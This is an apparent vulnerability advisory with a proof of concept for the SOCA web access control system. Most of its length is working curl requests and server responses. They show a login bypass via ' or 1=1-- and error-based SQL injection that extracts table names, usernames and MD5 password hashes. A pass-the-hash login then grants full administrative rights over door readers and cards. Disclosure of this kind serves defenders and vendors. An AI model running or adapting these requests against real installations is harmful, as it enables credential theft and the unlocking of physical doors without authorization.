SOCA Access Control System 180612 SQL Injection And Authentication Bypass


Vendor: SOCA Technology Co., Ltd
Product web page: http://www.socatech.com
Affected version: 180612, 170000 and 141007

Summary: The company's products include proximity and fingerprint access
control system, time and attendance, electric locks, card reader and writer,
keyless entry system and other 30 specialized products. All products are
attractively designed with advanced technology in accordance with users'
safety and convenience which also fitted international standard.

Desc: The Soca web access control system suffers from multiple SQL Injection
vulnerabilities. Input passed via multiple POST parameters is not properly
sanitised before being returned to the user or used in SQL queries. This
can be exploited to manipulate SQL queries by injecting arbitrary SQL code
and bypass the authentication mechanism. It allows the attacker to remotely
disclose password hashes and login with MD5 hash with highest privileges 
resulting in unlocking doors and bypass the physical access control in place.

Tested on: Windows NT 6.1 build 7601 (Windows 7 Service Pack 1) i586
           Windows NT 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
           Apache/2.2.22 (Win32)
           PHP/5.4.13
           Firebird/InterBase DBMS


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5519
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5519.php


20.04.2018

--


Authentication bypass / SQL injection via pos_id POST parameter in Login.php:
-----------------------------------------------------------------------------
-version 141007

# curl -X POST --data "pos_id=' or 1=1--&pos_pw=whatever&Lang=eng" -i\
"http://10.0.0.4/Login/Login.php"

HTTP/1.1 200 OK
Date: Fri, 03 May 2018 13:37:25 GMT
Server: Apache/2.2.22 (Win32) PHP/5.4.13
X-Powered-By: PHP/5.4.13
Set-Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5
Content-Type: text/html

 true


Authentication bypass / SQL injection via ID POST parameter in Login.php:
=========================================================================
-version 180612

# curl -X POST --data "ID=' or 1=1--&PW=whatever&Lang=eng"\
"http://10.0.0.3/Login/Login.php"

{"LoginCheck":true,"Session":{"IP":"10.0.0.9","sess_Lang":"eng","sess_id":"' or 1=1--","sess_passwd":"008c5926ca861023c1d2a36653fd88e2","sess_Access":{"Reader":1,"User":1,"Card":1,"Groups":1,"Historys":1,"Special_Query":1,"Permission":1,"WorkGroup":1,"Attend":1,"WorkTime":1,"Dep":1,"Holiday":1,"ConvertHistory":1,"Backup_Database":1,"Auto_Update_Card":1,"Mail_Report":1}}}


Authenticated SQL injection via cidx POST parameter in Card_Edit_GetJson.php:
=============================================================================

Dump current user:
------------------

# curl -X POST --data "cidx=144 and 1=(user)"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning:  ibase_fetch_assoc(): conversion error from string "SYSDBA";  in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17

Dump table:
-----------

# curl -X POST --data "cidx=144 and 1=(select+first+1+skip+57+distinct+rdb$relation_name+from+rdb$relation_fields)"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning:  ibase_fetch_assoc(): conversion error from string "USERS";  in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17

Dump column:
------------

# curl -X POST --data "cidx=144 and 1=(select+first+1+skip+2+distinct+rdb$field_name+from+rdb$relation_fields where rdb$relation_name=(select+first+1+skip+57+distinct+rdb$relation_name+from+rdb$relation_fields))"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning:  ibase_fetch_assoc(): conversion error from string "U_NAME";  in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17

Dump column:
------------

# curl -X POST --data "cidx=144 and 1=(select+first+1+skip+2+distinct+rdb$field_name+from+rdb$relation_fields where rdb$relation_name=(select+first+1+skip+56+distinct+rdb$relation_name+from+rdb$relation_fields))"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning:  ibase_fetch_assoc(): conversion error from string "U_PASSWORD";  in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17

Dump username and Idx from USERS table:
---------------------------------------

# curl -X POST --data "cidx=144 and 1=(select+first+1+skip+0+U_NAME || U_IDX+from+USERS)"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning:  ibase_fetch_assoc(): conversion error from string "USER1";  in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17

Dump passwords from UAC table:
------------------------------

# curl -X POST --data "cidx=144 and 1=(select+first+1+skip+0+U_PASSWORD+from+UAC)"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning:  ibase_fetch_assoc(): conversion error from string "4a7d1ed414474e4033ac29ccb8653d9b";  in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17


Login with MD5:
===============

# curl -X POST --data "ID=USER&PW=4a7d1ed414474e4033ac29ccb8653d9b&Lang=eng"
"http://10.0.0.3/Login/Login.php"\

{"LoginCheck":true,"Session":{"IP":"10.0.0.9","sess_Lang":"eng","sess_id":"USER","sess_passwd":"4a7d1ed414474e4033ac29ccb8653d9b","sess_Access":{"Reader":1,"User":1,"Card":1,"Groups":1,"Historys":1,"Special_Query":1,"Permission":1,"WorkGroup":1,"Attend":1,"WorkTime":1,"Dep":1,"Holiday":1,"ConvertHistory":1,"Backup_Database":1,"Auto_Update_Card":1,"Mail_Report":1}}}